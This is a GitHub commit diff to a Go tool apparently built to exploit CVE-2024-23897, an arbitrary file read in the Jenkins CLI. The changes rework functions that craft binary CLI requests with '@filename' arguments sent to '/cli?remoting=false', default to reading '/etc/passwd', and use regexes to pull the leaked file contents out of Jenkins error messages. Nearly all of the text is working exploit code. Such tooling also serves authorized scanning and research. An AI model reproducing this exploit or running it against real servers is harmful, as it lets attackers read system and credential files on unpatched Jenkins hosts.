Skip to content

Commit

Permalink
🎉 CVE-2024-23897 fix output
Browse files Browse the repository at this point in the history
  • Loading branch information
wjlin0 committed Jan 28, 2024
1 parent d91073b commit c2bde9a
Show file tree
Hide file tree
Showing 3 changed files with 49 additions and 23 deletions.
2 changes: 1 addition & 1 deletion pkg/runner/runner.go
Original file line number Diff line number Diff line change
Expand Up @@ -91,7 +91,7 @@ func (r *Runner) RunEnumeration() error {
go func(target *input.Target) {
defer r.wg.Done()
for _, filename := range r.options.Filename {
result := r.scanner.Exploit(target, filename)
result := r.scanner.Exploit(target, filename, "who-am-i", false)
if result != nil {
r.Lock()
success++
Expand Down
4 changes: 2 additions & 2 deletions pkg/scanner/check.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,6 @@ import (
"github.com/wjlin0/CVE-2024-23897/pkg/output"
)

func (s *Scanner) Check(target *input.Target, filename string) (result *output.ResultEvent) {
return s.Exploit(target, filename)
func (s *Scanner) Check(target *input.Target) (result *output.ResultEvent) {
return s.Exploit(target, "/etc/passwd", "help", true)
}
66 changes: 46 additions & 20 deletions pkg/scanner/exploit.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ import (
"fmt"
"github.com/google/uuid"
"github.com/projectdiscovery/retryablehttp-go"
stringsutil "github.com/projectdiscovery/utils/strings"
"github.com/wjlin0/CVE-2024-23897/pkg/input"
"github.com/wjlin0/CVE-2024-23897/pkg/output"
"io"
Expand All @@ -16,15 +17,15 @@ import (

var u, _ = uuid.NewRandom()

func (s *Scanner) Exploit(target *input.Target, filename string) (result *output.ResultEvent) {
func (s *Scanner) Exploit(target *input.Target, filename string, command string, need bool) (result *output.ResultEvent) {
uid := u.String()
urlpath := fmt.Sprintf("%s/cli?remoting=false", target.ToString())
var wg sync.WaitGroup
wg.Add(2)
go func() {
defer wg.Done()
time.Sleep(1000 * time.Millisecond) // 确保 download 请求先于 upload 请求
request, _ := retryablehttp.NewRequest("POST", urlpath, bytes.NewBuffer(parseRequestData(filename)))
request, _ := retryablehttp.NewRequest("POST", urlpath, bytes.NewBuffer(parseRequestData(command, filename, need)))
request.Header.Add("Session", uid)
request.Header.Add("Side", "upload")
_, _ = s.Do(request)
Expand Down Expand Up @@ -53,8 +54,28 @@ func (s *Scanner) Exploit(target *input.Target, filename string) (result *output
}
data, err := parseResponseData(body[1 : len(body)-1])
if err != nil {
result.Error = err.Error()
return
}
switch command {
case "who-am-i":
if !stringsutil.ContainsAny(string(data), "java -jar jenkins-cli.jar who-am-i") {
return
}

rg := whoamiCommandRegexData.FindStringSubmatch(string(data))
if len(rg) > 1 {
data = []byte(rg[1])
}
case "help":
if !stringsutil.ContainsAny(string(data), "java -jar jenkins-cli.jar help") {
return
}
rg := helpCommandRegexData.FindStringSubmatch(string(data))
if len(rg) > 1 {
data = []byte(rg[1])
}
}

result.Response = string(data)
result.Filename = filename

Expand All @@ -66,7 +87,8 @@ func (s *Scanner) Exploit(target *input.Target, filename string) (result *output
return
}

var regexData = regexp.MustCompile(`No argument is allowed: (.*)\njava -jar jenkins-cli.jar who-am-i`)
var whoamiCommandRegexData = regexp.MustCompile(`ERROR: (?:No argument is allowed: )? ?((?:No such file: )?.*)\njava -jar jenkins-cli.jar who-am-i`)
var helpCommandRegexData = regexp.MustCompile(`ERROR: (?:Too many arguments: )?((?:No such file: )?.*)\njava -jar jenkins-cli.jar help`)

func parseResponseData(data []byte) ([]byte, error) {
var datas []byte
Expand All @@ -90,36 +112,40 @@ func parseResponseData(data []byte) ([]byte, error) {
datas = append(datas, data[3:3+length]...)
data = data[3+length:]
}
// 正则提取 该漏洞的任意文件读取的第一行
// 例如:/etc/passwd
// root:x:0:0:root:/root:/bin/bash
rg := regexData.FindStringSubmatch(string(datas))
if len(rg) > 1 {
datas = []byte(rg[1])
}
return datas, nil
}

func parseRequestData(filename string) []byte {
func parseRequestData(command string, filename string, need bool) []byte {
//dataBytes := []byte{
// 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x04, 0x68, 0x65, 0x6c, 0x70,
//}

dataBytes := []byte{}
command := "who-am-i"
commandBytes := []byte{0x00, 0x00}
commandLength := len(command)
commandBytes = append(commandBytes, []byte{byte((commandLength + 2) >> 8), byte((commandLength + 2) & 0xff)}...)
commandBytes = append(commandBytes, 0x00)
commandBytes = append(commandBytes, []byte{byte(commandLength >> 8), byte(commandLength & 0xff)}...)
commandBytes = append(commandBytes, []byte(command)...)

fileBytes := []byte{0x00, 0x00}
filename = fmt.Sprintf("@%s", filename)
filenameLength := len(filename)
fileBytes = append(fileBytes, []byte{byte((filenameLength + 2) >> 8), byte((filenameLength + 2) & 0xff)}...)
fileBytes = append(fileBytes, 0x00)
fileBytes = append(fileBytes, []byte{byte(filenameLength >> 8), byte(filenameLength & 0xff)}...)
fileBytes = append(fileBytes, []byte(filename)...)
fileBytes := []byte{}
if command == "help" && need {
fileBytes = append(fileBytes, 0x00, 0x00)
filenameLength := len("1")
fileBytes = append(fileBytes, []byte{byte((filenameLength + 2) >> 8), byte((filenameLength + 2) & 0xff)}...)
fileBytes = append(fileBytes, 0x00)
fileBytes = append(fileBytes, []byte{byte(filenameLength >> 8), byte(filenameLength & 0xff)}...)
fileBytes = append(fileBytes, []byte("1")...)
}
if filename != "" {
fileBytes = append(fileBytes, 0x00, 0x00)
filename = fmt.Sprintf("@%s", filename)
filenameLength := len(filename)
fileBytes = append(fileBytes, []byte{byte((filenameLength + 2) >> 8), byte((filenameLength + 2) & 0xff)}...)
fileBytes = append(fileBytes, 0x00)
fileBytes = append(fileBytes, []byte{byte(filenameLength >> 8), byte(filenameLength & 0xff)}...)
fileBytes = append(fileBytes, []byte(filename)...)
}

dataBytes = append(dataBytes, commandBytes...)
dataBytes = append(dataBytes, fileBytes...)
Expand Down

0 comments on commit c2bde9a

Please sign in to comment.